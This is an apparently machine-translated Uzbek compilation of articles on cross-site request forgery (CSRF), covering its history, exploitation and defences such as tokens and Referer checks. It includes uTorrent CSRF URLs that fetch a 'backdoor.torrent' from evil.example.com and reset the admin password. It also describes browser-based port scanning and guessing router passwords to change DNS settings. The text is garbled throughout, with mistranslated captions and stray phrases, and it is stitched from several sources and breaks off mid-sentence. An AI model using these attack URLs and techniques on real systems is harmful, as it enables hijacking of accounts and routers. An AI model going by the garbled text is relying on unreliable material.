Saytlararo so'rovni soxtalashtirish - hech narsa haqida juda ko'p shov-shuv

Aleksandr Antipov

IN Yaqinda Veb-ilovalar xavfsizligi hamjamiyatida Cross-Site Request Forgery (CSRF yoki XSRF) deb nomlangan zaiflikning “yangi” turi haqida keng muhokamalar olib borilmoqda. Biz o'quvchilar e'tiboriga havola etayotgan maqolada ushbu turdagi zaifliklarning tavsifi, ulardan foydalanish usullari va himoya qilishning asosiy yondashuvlari mavjud.

Sergey Gordeychik

Gordey @ ptsecurity com

So'nggi paytlarda veb-ilovalar xavfsizligi hamjamiyatida Cross-Site Request Forgery (CSRF yoki XSRF) deb nomlangan zaiflikning "yangi" turi haqida ko'p muhokamalar bo'lib o'tdi. Biz o'quvchilar e'tiboriga havola etayotgan maqolada ushbu turdagi zaifliklarning tavsifi, ulardan foydalanish usullari va himoya qilishning asosiy yondashuvlari mavjud. Saytlararo so'rovni soxtalashtirish uchun umumiy qabul qilingan ruscha atama hali o'rnatilmagan va shuning uchun muallif "HTTP so'rovini soxtalashtirish" variantidan foydalanishni taklif qiladi.

Lirik chekinish

Avvalo, men CSRF bilan bog'liq asosiy noto'g'ri tushunchalar haqida to'xtalib o'tmoqchiman:

1. HTTP so'rovini soxtalashtirish - bu zaiflikning yangi turi.

Bu haqiqatdan uzoqdir. Xabar manbalarini soxtalashtirish mavzusidagi nazariy fikrlar 1988 yilga borib taqaladi (http://www.cis.upenn.edu/~KeyKOS/ConfusedDeputy.html) va zaifliklarning amaliy misollari Bugtraqda kamida 2000 yildan beri muhokama qilinmoqda (http. ://www. zope.org/Members/jim/ZopeSecurity/ClientSideTrojan). Bu atamaning o'zi 2001 yilda Piter Uotkins (http://www.securiteam.com/securitynews/5FP0C204KE.html) tomonidan kiritilgan.

2. CSRF saytlararo skriptning (XSS) bir variantidir.

CSRF va XSS o'rtasidagi yagona o'xshashlik veb-ilova mijozlaridan hujum vektori sifatida foydalanishdir (WASC terminologiyasida mijoz tomonidagi hujum http://www.webappsec.org/projects/threat/). CSRF zaifliklaridan XSS yoki "qayta yo'naltiruvchilar" (http://www..php) bilan birgalikda foydalanish mumkin, ammo zaifliklarning alohida sinfini ifodalaydi.

3. CSRF zaifligi keng tarqalgan emas va undan foydalanish juda qiyin.

Positive Technologies tomonidan veb-ilovalarning kirish testi va xavfsizlikni baholash jarayonida olingan ma'lumotlar shuni ko'rsatadiki, veb-ilovalarning aksariyati ushbu zaiflikka moyil. Boshqa zaifliklardan farqli o'laroq, CSRF dasturlash xatolari natijasida yuzaga kelmaydi, balki veb-server va brauzerning odatiy xatti-harakatidir. Bular. Standart arxitekturadan foydalanadigan ko'pgina saytlar sukut bo'yicha zaifdir.

Foydalanish misoli

Keling, misol bilan CSRF dan foydalanishni ko'rib chiqaylik. Xabarlarni yuboradigan veb-ilova mavjud deylik Elektron pochta. Foydalanuvchi elektron pochta manzili va xabar matnini belgilaydi, Submit tugmasini bosadi va uning manzilidan xabar qabul qiluvchiga yuboriladi.

Guruch. 1. Xabar yuborish

Sxema ko'plab saytlardan tanish va hech qanday e'tiroz bildirmaydi. Biroq, ushbu ilova HTTP so'rovini soxtalashtirish hujumlariga nisbatan zaif bo'lishi mumkin. Zaiflikdan foydalanish uchun tajovuzkor o'z veb-saytida "rasm" ga havolani o'z ichiga olgan sahifani yaratishi va keyin foydalanuvchini o'z veb-saytiga havolani kuzatishga majbur qilishi mumkin (masalan, http://bh.ptsecurity.ru/xcheck /csrf.htm).

Sahifaga kirganda, foydalanuvchining brauzeri tasvirni yuklashga harakat qiladi, buning uchun u zaif dastur bilan bog'lanadi, ya'ni. so'rovning "to" maydonida ko'rsatilgan qabul qiluvchiga elektron pochta xabarini yuboradi.

Guruch. 2. CSRF hujumi

E'tibor bering, foydalanuvchi brauzeri saytga Cookie qiymatini yuboradi, ya'ni. so'rov autentifikatsiya qilingan foydalanuvchidan kelgan deb qabul qilinadi. Foydalanuvchini zaif serverga so'rov yuboradigan sahifani yuklashga majbur qilish uchun tajovuzkor usullardan foydalanishi mumkin. ijtimoiy muhandislik, shuningdek, XSS kabi texnik zaifliklar va qayta yo'naltirish funktsiyasini amalga oshirishdagi xatolar.

Guruch. 3. CSRF ishlashining mantiqiyligi

Shunday qilib, CSRF hujumi o'zboshimchalik bilan saytlarga HTTP so'rovlarini yuborish uchun foydalanuvchi brauzeridan foydalanishni o'z ichiga oladi va zaiflik HTTP so'rovining manbasini tekshirib bo'lmaydi. Misol ilovasi parametrlarni uzatish uchun HTTP GET usulidan foydalanadi, bu esa tajovuzkorning hayotini osonlashtiradi. Biroq, POST usulidan foydalanish HTTP so'rovini soxtalashtirish hujumlari ehtimolini avtomatik ravishda yo'q qiladi deb o'ylamang. Buzg'unchi serveridagi sahifada sahifa ko'rilganda avtomatik ravishda yuboriladigan tayyor HTML formasi bo'lishi mumkin.

CSRF dan foydalanish uchun tajovuzkor o'zining veb-serveriga ega bo'lishi shart emas. So'rovni boshlagan sahifa elektron pochta yoki boshqa vositalar orqali uzatilishi mumkin.

Billy Hoffmanning sharhi Javascript yordamida tarmoqqa ulanishning turli usullarini qamrab oladi. Ularning barchasi, shu jumladan XmlHttxmpquest (ba'zi holatlarda) CSRF hujumlarini amalga oshirish uchun ishlatilishi mumkin.

Umid qilamanki, hozirgacha o'quvchi CSRF va XSS o'rtasidagi asosiy farqni tushunib yetdi. XSS holatida, tajovuzkor zaif sahifaning DOM (Hujjat ob'ekt modeli) ga o'qish va yozish uchun kirish huquqiga ega bo'ladi. CSRF-ni bajarayotganda, tajovuzkor foydalanuvchi brauzeri yordamida serverga so'rov yuborish imkoniyatiga ega, lekin endi serverning javobini, uning sarlavhasini (masalan, Cookie) qabul qila olmaydi va tahlil qila olmaydi. Shunga ko'ra, "HTTP so'rovini soxtalashtirish" sizga dastur bilan "faqat yozish" rejimida ishlashga imkon beradi, ammo bu haqiqiy hujumlarni amalga oshirish uchun etarli.

CSRF hujumlarining asosiy maqsadlari turli xil interaktiv veb-ilovalar, masalan, elektron pochta tizimlari, forumlar, CMS, interfeyslardir. masofaviy boshqarish tarmoq uskunalari. Masalan, tajovuzkor veb-interfeys orqali boshqa foydalanuvchilar nomidan xabarlar yuborishi, yangi hisoblar qo'shishi yoki router sozlamalarini o'zgartirishi mumkin.

Guruch. 4. Forumda CSRF dan foydalanishga misol

Keling, oxirgi narsani - sozlamalarni o'zgartirishni batafsil ko'rib chiqaylik tarmoq qurilmalari. Muallif allaqachon simsiz hujumlarni aniqlash tizimlariga ishora qiladi, lekin tabiiyki, masala ular bilan cheklanmaydi.

Biz perimetrni kesib o'tamiz

O'tgan dekabr oyida Symantec "Drive-By Pharming" deb nomlangan "yangi" hujum haqida hisobotni e'lon qildi, bu aslida CSRF ekspluatatsiyasining bir variantidir. Buzg'unchi foydalanuvchi brauzerida yo'riqnoma sozlamalarini o'zgartiradigan, masalan, yangi DNS server qiymatini o'rnatadigan qandaydir "sehrli" JavaScript-ni amalga oshiradi. Ushbu hujumni amalga oshirish uchun siz quyidagi muammolarni hal qilishingiz kerak:

JavaScript yordamida portni skanerlash;

Veb-ilova turini aniqlash (barmoq izi);

CSRF yordamida parolni taxmin qilish va autentifikatsiya qilish;

CSRF hujumi yordamida xost sozlamalarini o'zgartirish.

JavaScript-dan foydalangan holda veb-server va uning dasturiy turini aniqlash uchun skanerlash texnikasi juda yaxshi ishlab chiqilgan va dinamik yaratish Turli ichki URL manzillarga ishora qiluvchi HTML ob'ektlari (masalan, img src=) (masalan, http://192.168.0.1/pageerror.gif). Agar "rasm" muvaffaqiyatli yuklangan bo'lsa, u holda Microsoft IIS-ga asoslangan veb-server sinovdan o'tgan manzilda joylashgan. Agar javob 404 xatolik olgan bo'lsa, u holda port ochiq va veb-server unda ishlamoqda. Agar kutish vaqti o'tib ketgan bo'lsa, server tarmoqda emas yoki port xavfsizlik devorida bloklangan. Xo'sh, boshqa holatlarda - port yopiq, lekin xostga kirish mumkin (server RST paketini qaytardi va brauzer kutish muddati tugashidan oldin xatolik yuz berdi). Ba'zi hollarda foydalanuvchi brauzeridan portni skanerlash JavaScript-dan foydalanmasdan ham amalga oshirilishi mumkin (http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html).

Qurilma turini aniqlagandan so'ng, tajovuzkor foydalanuvchi brauzerini sozlamalarni o'zgartirish uchun darhol so'rov yuborishga majburlashi mumkin. Ammo bunday so'rov faqat foydalanuvchi brauzerida qurilmadan faol autentifikatsiya qilingan seans mavjud bo'lsa, muvaffaqiyatli bo'ladi. Qo'lingizda bo'lsin sahifani oching routerni boshqarish ko'plab "ilg'or" foydalanuvchilarning yomon odatidir.

Agar boshqaruv interfeysi bilan faol seans bo'lmasa, tajovuzkor autentifikatsiya qilishi kerak. Agar qurilma shakllarga asoslangan autentifikatsiyani amalga oshirsa, hech qanday muammo yuzaga kelmaydi. POST-da CSRF-dan foydalanib, avtorizatsiya so'rovi serverga yuboriladi, shundan so'ng undan rasm (yoki sahifa) yuklanadi, faqat autentifikatsiya qilingan foydalanuvchilar foydalanishi mumkin. Agar rasm olingan bo'lsa, autentifikatsiya muvaffaqiyatli bo'ldi va siz davom etishingiz mumkin keyingi harakatlar, aks holda, boshqa parolni sinab ko'ring.

Agar hujum qilingan qurilma asosiy autentifikatsiyani amalga oshirsa, vazifa yanada murakkablashadi. Internet-brauzer Explorer URL manzilida foydalanuvchi nomi va parolni ko'rsatish imkoniyatini qo'llab-quvvatlamaydi (masalan, http://user: [elektron pochta himoyalangan]). Shu munosabat bilan, Asosiy autentifikatsiyani amalga oshirish uchun maqolada tasvirlangan Flash yordamida HTTP sarlavhalarini qo'shish usulidan foydalanish mumkin. Biroq, bu usul faqat Flashning eskirgan versiyalari uchun ishlaydi, ular kamroq va kamroq tarqalgan.

Ammo Firefox kabi boshqa brauzerlar URL manzilida foydalanuvchi nomi va parolni belgilash imkoniyatini beradi va ular istalgan serverga autentifikatsiya qilish uchun ishlatilishi mumkin va agar parol noto'g'ri bo'lsa, bu xato xabari yaratmasdan amalga oshirilishi mumkin.

Stefan Esserning blogidan Basic usuli yordamida ovozsiz autentifikatsiya qilish uchun misol skripti quyida keltirilgan.

Firefox HTTP Auth Bruteforcing

Guruch. 5. Firefox-da asosiy autentifikatsiya

SSO mexanizmlari tez-tez ishlatiladigan korporativ muhitda, masalan, domenga asoslangan Active Directory va Kerberos va NTLM protokollari, CSRF dan foydalanish qo'shimcha harakatlarni talab qilmaydi. Brauzer avtomatik ravishda joriy foydalanuvchining xavfsizlik kontekstiga qarshi autentifikatsiya qiladi.

Autentifikatsiyadan o'tgandan so'ng, tajovuzkor DNS server manzili kabi o'zboshimchalik bilan router sozlamalarini o'zgartiruvchi so'rov yuborish uchun JavaScript-dan foydalanadi.

Himoya usullari

CSRF himoyasi haqida gap ketganda aqlga keladigan birinchi narsa bu Referer sarlavhasining qiymatini tekshirish. Haqiqatan ham, HTTP so'rovini soxtalashtirish uchinchi saytdan so'rovni yuborishni o'z ichiga olganligi sababli, manzili brauzer tomonidan so'rov sarlavhalariga avtomatik ravishda qo'shiladigan asl sahifani boshqarish muammoni hal qilishi mumkin.

Biroq, bu mexanizm bir qator kamchiliklarga ega. Birinchidan, ishlab chiquvchi Referer sarlavhasi bo'lmagan so'rovlarni qayta ishlash masalasiga duch keladi. Ko'pchilik shaxsiy xavfsizlik devorlari va proksi-serverlarni anonimlashtirish Refererni potentsial xavfli sarlavha sifatida kesib tashladi. Shunga ko'ra, agar server e'tibor bermasa shunga o'xshash so'rovlar, eng "paranoyak" fuqarolar guruhi u bilan ishlay olmaydi.

Ikkinchidan, ba'zi hollarda Referer sarlavhasi soxtalashtirilishi mumkin, masalan, yuqorida aytib o'tilgan Flash nayrangidan foydalanish. Agar foydalanuvchi IE 6.0 dan foydalanayotgan bo'lsa, so'rov sarlavhasi mazmuni XmlHttxmpquest ilovasidagi xatolikdan foydalanish uchun o'zgartirilishi mumkin. Zaiflik sarlavhalarni o'zgartirish va hatto qo'shimcha so'rov yuborish imkonini beruvchi HTTP usuli nomida yangi qator belgilaridan foydalanish imkoniyatidadir. Ushbu zaiflik 2005 yilda Amit Klein() tomonidan aniqlangan va 2007 yilda qayta kashf etilgan. Ushbu usulning cheklovi shundaki, u faqat foydalanuvchi va server o'rtasida HTTP proksi-server mavjud bo'lsa yoki serverlar bir xil IP-manzilda joylashgan bo'lsa ishlaydi. lekin turli domen nomlari bilan.

Yana bir keng tarqalgan usul - har bir so'rovga noyob parametr qo'shish, keyin server tomonidan tasdiqlanadi. Parametr GET so'rovidan foydalanganda URL manziliga qo'shilishi mumkin, masalan, POSTdan foydalanganda yashirin shakl parametri sifatida. Parametrning qiymati o'zboshimchalik bilan bo'lishi mumkin, asosiysi, tajovuzkor uni bashorat qila olmaydi, masalan, foydalanuvchi sessiyasining qiymati.

Guruch. 6. Bitrix-da CSRF himoyasi

Ilovangizga CSRF tekshirish funksiyasini tezda qo'shish uchun quyidagi yondashuvdan foydalanishingiz mumkin:

1. Har bir yaratilgan sahifaga kichik JavaScript qo'shing, barcha shakllarga Cookie qiymati tayinlangan qo'shimcha yashirin parametr qo'shing.

2. Serverda mijoz tomonidan POST usuli yordamida yuborilgan ma'lumotlarda joriy Cookie qiymatiga teng qiymat mavjudligini tekshiring.

Bunday mijoz skriptiga misol quyida keltirilgan:

Ushbu yondashuvning keyingi rivojlanishi sessiya identifikatorini Cookie faylida emas, balki yashirin shakl parametri sifatida saqlashdir (masalan, VIEWSTATE).

CSRFga qarshi kurashish usuli sifatida Turing testlarining turli versiyalari, masalan, taniqli tasvirlar - CAPTCHA ishlatilishi mumkin. Yana bir mashhur variant - muhim sozlamalarni o'zgartirganda foydalanuvchi parolini talab qilish.

Guruch. 7. mail.ru saytida CSRF himoyasi

Shunday qilib, saytlararo so'rovni qalbakilashtirish veb-ilova mijoziga qaratilgan hujum bo'lib, HTTP so'rovi manbasini etarli darajada tekshirishdan foydalanmaydi. Bunday hujumlardan himoya qilish uchun Referer sarlavhasi yoki qo'shimcha "tasodifiy" parametr asosida so'rov manbasini qo'shimcha nazorat qilish mumkin.

Sergey Gordeychik Positive Technologies kompaniyasida tizim arxitektori bo‘lib ishlaydi, u yerda u ilovalar xavfsizligi, simsiz va mobil texnologiyalar xavfsizligiga ixtisoslashgan. Muallif shuningdek, Xavfsizlikning yetakchi ishlab chiqaruvchisi hisoblanadi simsiz tarmoqlar", "Informzashita" o'quv markazining "Veb-ilovalar xavfsizligini tahlil qilish va baholash". “Windows IT Pro/RE”, SecurityLab va boshqa nashrlarda bir necha oʻnlab maqolalar chop etilgan. U Web Application Security Consortium (WASC) loyihalari a'zosi.

Saytlararo so'rovlarni qalbakilashtirish, bir marta bosish hujumi yoki seans drayveri sifatida ham tanilgan va CSRF sifatida qisqartirilgan (ba'zan ifodalangan) suv oqimi tinglang)) yoki XSRF, veb-ilova ishonadigan foydalanuvchidan ruxsatsiz buyruqlar yuboriladigan veb-saytdan foydalaniladigan zararli dastur turidir. Zararli veb-sayt bunday buyruqlarni uzatishning ko'plab usullari mavjud; Masalan, maxsus tayyorlangan tasvir teglari, yashirin shakllar va JavaScript XMLHttpRequests, barchasi foydalanuvchi shovqinisiz yoki hatto bilimsiz ham ishlashi mumkin. Foydalanuvchining ma'lum bir saytga bo'lgan ishonchidan foydalanadigan saytlararo skriptdan (XSS) farqli o'laroq, CSRF saytning foydalanuvchi brauzeriga bo'lgan ishonchidan foydalanadi.

hikoya

CSRF zaifliklari ma'lum va ba'zi hollarda 2001 yildan beri foydalaniladi. U foydalanuvchining IP manzilidan amalga oshirilganligi sababli, ba'zi veb-sayt jurnallarida CSRF dalillari bo'lmasligi mumkin. Ekspluatatsiyalar kam baholanadi, tomonidan kamida ommaviy ravishda va 2007 yildan boshlab bir nechta yaxshi hujjatlashtirilgan misollar mavjud edi:

• 2006-yilda Netflix veb-saytida tajovuzkorga jabrlanuvchining ijara navbatiga DVD qo‘shish, akkauntdagi yuk manzilini o‘zgartirish yoki jabrlanuvchining login ma’lumotlarini o‘zgartirish kabi amallarni bajarishga imkon beradigan ko‘plab CSRF zaifliklari mavjud edi.
• ING Direct onlayn-banking veb-ilovasi noqonuniy pul o'tkazmalariga ruxsat beruvchi CSRF hujumlariga qarshi himoyasiz edi.
• Mashhur YouTube video veb-sayti ham 2008 yilda CSRFga qarshi himoyasiz edi va bu har qanday tajovuzkorga har qanday foydalanuvchi qila oladigan deyarli hamma narsani bajarishga imkon berdi.
• McAfee shuningdek, CSRFga qarshi himoyasizdir, bu esa tajovuzkorlarga kompaniya tizimini o'zgartirishga imkon berdi.

2018 yilda veb-qurilmalarga yangi hujumlar, jumladan, o'zgartirishga urinishlar amalga oshirildi DNS sozlamalari routerlar. Ba'zi yo'riqnoma ishlab chiqaruvchilari xavfsizlikni yaxshilash uchun proshivka yangilanishlarini chiqarishga shoshilishdi va foydalanuvchilarga xavfni kamaytirish uchun yo'riqnoma sozlamalarini o'zgartirishni maslahat berishdi. Tafsilotlar “aniq xavfsizlik sabablari” sabab oshkor etilmadi.

Misol va xususiyatlar

Jabrlanuvchi ro'yxatdan o'tayotgan vaqtda ochilish sahifasida ma'lum bir harakatni amalga oshiradigan takrorlanadigan havolani topa oladigan tajovuzkorlar bunday havolani o'zlari nazorat qilgan sahifaga joylashtirishlari va jabrlanuvchini uni ochish uchun aldashlari mumkin. Hujum media havolasi jabrlanuvchi maqsadli saytga kirish orqali tashrif buyurishi mumkin bo'lgan joyga joylashtirilishi mumkin (masalan, forum muhokamasi) yoki HTML elektron pochta yoki ilova matnida yuborilishi mumkin. UTorrent-dagi (CVE-2008-6586) CSRFning haqiqiy zaifligi uning veb-konsoliga localhost:8080-da kirish mumkinligidan foydalangan va bu oddiy GET so'rovi bilan muhim harakatlarni bajarishga imkon beradi:

Torrent faylini yuklab olishga majburlash http://localhost:8080/gui/action=add URL&s=http://evil.example.com/backdoor.torrent Utorrent administrator parolini o'zgartirish http://localhost:8080/gui/action = setsetting & s = webui.password & v = eviladmin

Hujumlar forumlar va elektron pochta spamlariga zararli, avtomatlashtirilgan HTML tasvir elementlarini joylashtirish orqali boshlandi, shunda ushbu sahifalarga tashrif buyurgan brauzerlar foydalanuvchi tomonidan hech qanday harakat qilmasdan avtomatik ravishda ochiladi. Ushbu sahifalarni ochish bilan bir vaqtda Utorrent-ning zaif versiyasini ishlatadigan odamlar hujumga moyil edi.

Rasm teglari yordamida CSRF hujumlari ko'pincha foydalanuvchilar rasmlarni joylashtirishlari mumkin bo'lgan internet forumlarida amalga oshiriladi, lekin JavaScript emas, masalan, BBCode yordamida:

Http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent

Localhost:8080-da mahalliy Utorrent ilovasidagi hujum havolasiga kirishda brauzer har doim ushbu domen uchun mavjud kukilarni avtomatik ravishda yuboradi. Veb-brauzerlarning ushbu umumiy xususiyati CSRF hujumlariga maqsadli zaifliklardan foydalanishga va foydalanuvchi maqsadli veb-saytga kirgan ekan, dushman harakatlarni amalga oshirishga imkon beradi (ushbu misolda mahalliy veb- Utorrent interfeysi) hujum paytida.

Saytlararo so'rovlarni soxtalashtirish - bu veb-brauzerga qarshi chalkash proksi-hujum.

CSRF odatda quyidagi xususiyatlarga ega:

• U foydalanuvchi identifikatoriga tayanadigan saytlarni o'z ichiga oladi.
• Bu saytning ushbu shaxsga bo'lgan ishonchidan foydalanadi.
• U maqsadli saytga HTTP so'rovlarini yuborish uchun foydalanuvchi brauzerini aldaydi.
• U yon ta'sirga ega bo'lgan HTTP so'rovlarini o'z ichiga oladi.

HTTP fe'llari va CSRF

• HTTP GET-da CSRF-dan foydalanish yuqorida tavsiflangan usullardan foydalangan holda ahamiyatsiz hisoblanadi, masalan, manipulyatsiya qilingan parametrlarni o'z ichiga olgan oddiy giperhavola va IMG yorlig'i yordamida avtomatik ravishda yuklanadi. HTTP spetsifikatsiyasiga ko'ra, GET xavfsiz usul sifatida, ya'ni foydalanuvchining ilovadagi holatini sezilarli darajada o'zgartirmasdan ishlatilishi kerak. Bunday operatsiyalar uchun GET-dan foydalanadigan ilovalar HTTP POST-ga o'tishi yoki CSRF himoyasidan foydalanishi kerak.
• HTTP POST batafsil foydalanish holatlariga qarab turli xil CSRF zaifliklariga ega:
  • Eng oddiy shaklda so'rovlar qatori sifatida kodlangan ma'lumotlarga ega POST (maydon1=qiymat1&maydon2=qiymat2) CSRF hujumi oddiy HTML formasi yordamida osonlik bilan amalga oshiriladi va CSRFga qarshi choralar qo'llanilishi kerak.
  • Agar ma'lumotlar boshqa formatda (JSON, XML) uzatilsa, standart usul POST so'rovi XMLHttpRequest-dan CSRF hujumlari bilan foydalanish SOP tomonidan oldini oladi va ; ENCTYPE atributidan foydalangan holda oddiy HTML shaklidan o'zboshimchalik bilan tarkibni yuborish usuli mavjud; Bunday soxta so'rovni qonuniy so'rovlardan matn/oddiy tarkib turi bilan ajratish mumkin, ammo agar bu serverda bajarilmasa, CSRF bajarilishi mumkin
• boshqa HTTP usullari (PUT, DELETE va boshqalar) faqat SOP va CSRF oldini olish bilan XMLHttpRequest yordamida chiqarilishi mumkin; Biroq, bu choralar Access-Control-Allow-Origin: * sarlavhasi yordamida ularni aniq o'chirib qo'ygan veb-saytlarda faol bo'lmaydi.

CSRFga boshqa yondashuvlar

Bundan tashqari, odatda hujumning statik turi sifatida ta'riflangan bo'lsa-da, CSRF, shuningdek, Samy qurti tomonidan ko'rsatilgandek, saytlararo hujum stsenariylari uchun foydali yukning bir qismi sifatida dinamik ravishda tuzilishi mumkin yoki saytdan tashqari kontent orqali sizib chiqqan seans ma'lumotlaridan tezda tuzilishi mumkin. maqsadga zararli URL sifatida yuborilgan. CSRF tokenlari seansni o'rnatish yoki boshqa zaifliklar tufayli zararli mijoz tomonidan yuborilishi yoki minglab muvaffaqiyatsiz so'rovlarni keltirib chiqaradigan zararli sahifaga tarjima qilingan qo'pol kuch hujumi orqali taxmin qilinishi mumkin. "Dinamik CSRF" hujum klassi yoki seansga xos spoofing uchun har bir mijoz uchun foydali yukdan foydalanish 2009 yilda BlackHat brifinglarida Natan Xemiel va Shon Moyer tomonidan tasvirlangan, garchi taksonomiya hali kengroq qo'llanilmagan bo'lsa-da.

Dinamik CSRF hujumlarini yaratish uchun yangi vektor Oren Ofer tomonidan 2012 yil yanvar oyida mahalliy OWASP bo'lim yig'ilishida taqdim etilgan - "AJAX Hammer - Dynamic CSRF".

Oqibatlari

Ildiz huquqlari bilan masofadan kod bajarilishiga olib keladigan CSRF zaifliklari, shuningdek, ochiq kalitlar infratuzilmasini butunlay buzadigan ildiz sertifikatini buzishi mumkin bo'lgan zaiflik uchun jiddiylik ko'rsatkichlari chiqarilgan.

Cheklovlar

Saytlararo soxtalashtirish so'rovi muvaffaqiyatli bo'lishi uchun bir nechta narsa bo'lishi kerak:

Buzg'unchi yo'naltiruvchi sarlavhasini tekshirmaydigan saytni yoki brauzer yoki refererni aldashga imkon beruvchi plagin yordamida qurbonni nishonga olishi kerak.

Buzg'unchi maqsadli sayt yoki URL manzilida biror narsa qilishning (masalan, pul o'tkazish yoki jabrlanuvchining elektron pochta manzili yoki parolini o'zgartirish) yon ta'siriga ega bo'lgan topshirish shaklini topishi kerak.

Buzg'unchi barcha shakllar yoki URL kirishlari uchun to'g'ri qiymatlarni aniqlashi kerak; agar ulardan birortasi maxfiy autentifikatsiya qiymatlariga yoki tajovuzkor taxmin qila olmaydigan identifikatorlarga ega bo'lsa, hujum muvaffaqiyatsiz bo'lishi mumkin (agar tajovuzkor taxmin qilishda omadli bo'lmasa).

Jabrlanuvchi maqsadli saytga kirayotganda tajovuzkor qurbonni zararli kodni o'z ichiga olgan veb-sahifaga jalb qilishi kerak.

Hujum ko'r-ko'rona: tajovuzkor maqsadli sayt soxta so'rovlarga javoban qurbonga nima qaytarayotganini ko'ra olmaydi, agar ular saytlararo skriptdan yoki maqsadli saytdagi boshqa xatolikdan foydalanmasalar. Bundan tashqari, tajovuzkor har qanday havolani nishonga olishi yoki dastlabki soxta so'rovdan keyin kelgan har qanday shakllarni yuborishi mumkin, agar keyingi havolalar yoki shakllar xuddi shunday bashorat qilinadigan bo'lsa. (Sahifaga bir nechta rasmlarni kiritish yoki bosishlar orasidagi kechikish uchun JavaScript-dan foydalanish orqali bir nechta maqsadlarni simulyatsiya qilish mumkin.)

Ushbu cheklovlarni hisobga olgan holda, tajovuzkor qurbonlarning anonim shaxsini yoki himoyasiz vakillik shaklini topishda qiynalishi mumkin. Boshqa tomondan, hujumga urinishlar qurbonlar tomonidan osongina o'rnatiladi va aniqlanmaydi va dastur ishlab chiquvchilari, masalan, parolni buzish lug'at hujumlariga qaraganda, CS hujumlariga kamroq tanish va tayyor.

oldini olish

Ko'pgina CSRF oldini olish usullari so'rovlarga qo'shimcha autentifikatsiya ma'lumotlarini kiritish orqali ishlaydi, bu veb-ilovaga ruxsatsiz joylardan so'rovlarni aniqlash imkonini beradi.

Sinxronizator marker modeli

• Tizimga kirgandan so'ng, veb-ilova foydalanuvchi sessiyasi davomida o'zgarishsiz qoladigan tasodifiy tokenni o'z ichiga olgan cookie faylini o'rnatadi.

Set-cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; tugaydi = Pays, 23-iyul-2015 10:25:33 GMT; Maksimal yosh=31449600; Yoʻl=/

• Mijoz tomonida ishlaydigan JavaScript qiymatni o'qiydi va uni har bir tranzaksiya so'rovi bilan yuborilgan maxsus HTTP sarlavhasiga ko'chiradi

X-Csrf-token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql

• Server tokenlarning mavjudligi va yaxlitligini tekshiradi

Ushbu usulning xavfsizligi faqat bir xil manbada ishlaydigan JavaScript cookie qiymatini o'qiy oladi degan taxminga asoslanadi. Soxta fayl yoki elektron pochta manzili bilan ishlaydigan JavaScript maxsus sarlavhani o'qiy olmaydi va nusxa olmaydi. CSRF token cookie-fayllari noto'g'ri so'rov bilan avtomatik ravishda yuborilsa ham, server hali ham haqiqiy X-CSRF token sarlavhasini kutadi.

CSRF tokenining o'zi noyob va oldindan aytib bo'lmaydigan bo'lishi kerak. Bu tasodifiy yaratilishi yoki HMAC yordamida sessiya tokenlaridan olinishi mumkin:

Csrf_token = HMAC (sessiya_tokeni, dastur_siri)

CS cookie tokenida HTTPOnly bayrog'i bo'lmasligi kerak, chunki u JavaScript dizayni tomonidan o'qish uchun mo'ljallangan.

Ushbu usul Django va AngularJS kabi ko'plab zamonaviy ramkalar tomonidan amalga oshiriladi. Token butun foydalanuvchi sessiyasi davomida doimiy bo‘lib qolishi sababli, u AJAX ilovalari bilan yaxshi ishlaydi, lekin veb-ilovalarda voqealar ketma-ketligini ta’minlamaydi.

Agar maqsadli veb-sayt quyidagi usullardan biri yordamida bir xil manba siyosatini o'chirib qo'ysa, ushbu usul bilan ta'minlangan himoyani to'xtatish mumkin:

• Ruxsat beruvchi kirish-nazorat-ruxsat berish-kelib chiqishi sarlavhasi (argument yulduzcha bilan)
• clientaccesspolicy.xml fayli Silverlight boshqaruvlariga koʻzda tutilmagan kirish imkonini beradi
• crossdomain.xml fayli Flash filmlariga ko'zda tutilmagan kirishni ta'minlaydi

Cookie-faylni ikki marta yuborish

Cookie-to-header yondashuviga o'xshash, lekin JavaScript-ni ishlatmasdan, sayt CSRF tokenini cookie fayli sifatida o'rnatishi va uni har birida yashirin maydonga kiritishi mumkin. HTML shakli, yuborilgan mijoz. Shakl topshirilganda, sayt cookie-fayl belgisi markerlar shakliga mos kelishini tekshirishi mumkin. Umumiy kelib chiqish siyosati tajovuzkorga maqsadli domenda cookie-fayllarni oʻqish yoki oʻrnatishga yoʻl qoʻymaydi, shuning uchun ular oʻzlarining tayyorlangan shaklida yaroqli token joylashtira olmaydi.

Ushbu usulning sinxronizator naqshidan ustunligi shundaki, token serverda saqlanishi shart emas.

Mijoz kafolatlari

RequestPolicy (Mozilla Firefox uchun) yoki Umatrix (ikkala Firefox va Google Chrome/Chromium uchun) kabi brauzer kengaytmalari saytlararo so'rovlar uchun sukut bo'yicha rad etish siyosatini taqdim etish orqali CSRFni oldini oladi. Biroq, bu ko'plab saytlarning normal ishlashiga sezilarli darajada xalaqit berishi mumkin. CsFire kengaytmasi (Firefox uchun ham) CSRF ta'sirini saytlararo so'rovlardan autentifikatsiya ma'lumotlarini olib tashlash orqali oddiy ko'rishga kamroq ta'sir ko'rsatishi mumkin.

Cross Site Request Forgery yoki CSRF - bu zararli sayt, elektron pochta, xabar, ilova yoki boshqa biror narsa foydalanuvchining brauzeri o'sha foydalanuvchi allaqachon autentifikatsiya qilingan boshqa saytda ba'zi harakatlarni bajarishiga sabab bo'lganda sodir bo'ladigan hujumdir. Ko'pincha bu foydalanuvchi bilmasdan sodir bo'ladi.

CSRF hujumi natijasida etkazilgan zarar harakatni qabul qiladigan saytga bog'liq. Mana bir misol:

Bob onlayn-banking mijozidagi shaxsiy hisobiga kiradi, ba'zi operatsiyalarni bajaradi, lekin tizimdan chiqmaydi.

Bob elektron pochtasini tekshiradi va uni notanish saytga olib boradigan havolani bosadi.

Notanish sayt Bobning bankining onlayn mijoziga avvalgi seansdan saqlangan Bob cookie-fayliga ma'lumot berib, pul o'tkazish uchun so'rov yuboradi.

Bob's Bank sayti CSRF tokenidan foydalanmasdan notanish (zararli) saytdan so'rovni qabul qiladi va tarjimani amalga oshiradi.

Bundan ham qiziqroq vaziyat - bu zararli narsaga havola bo'lganda
sayt haqiqiy HTML-da bo'lishi mumkin, buning natijasida Bo-
Siz hatto havolani bosishingiz shart emas: . Agar Bob qurilmasi (masalan, brauzer) render qilsa
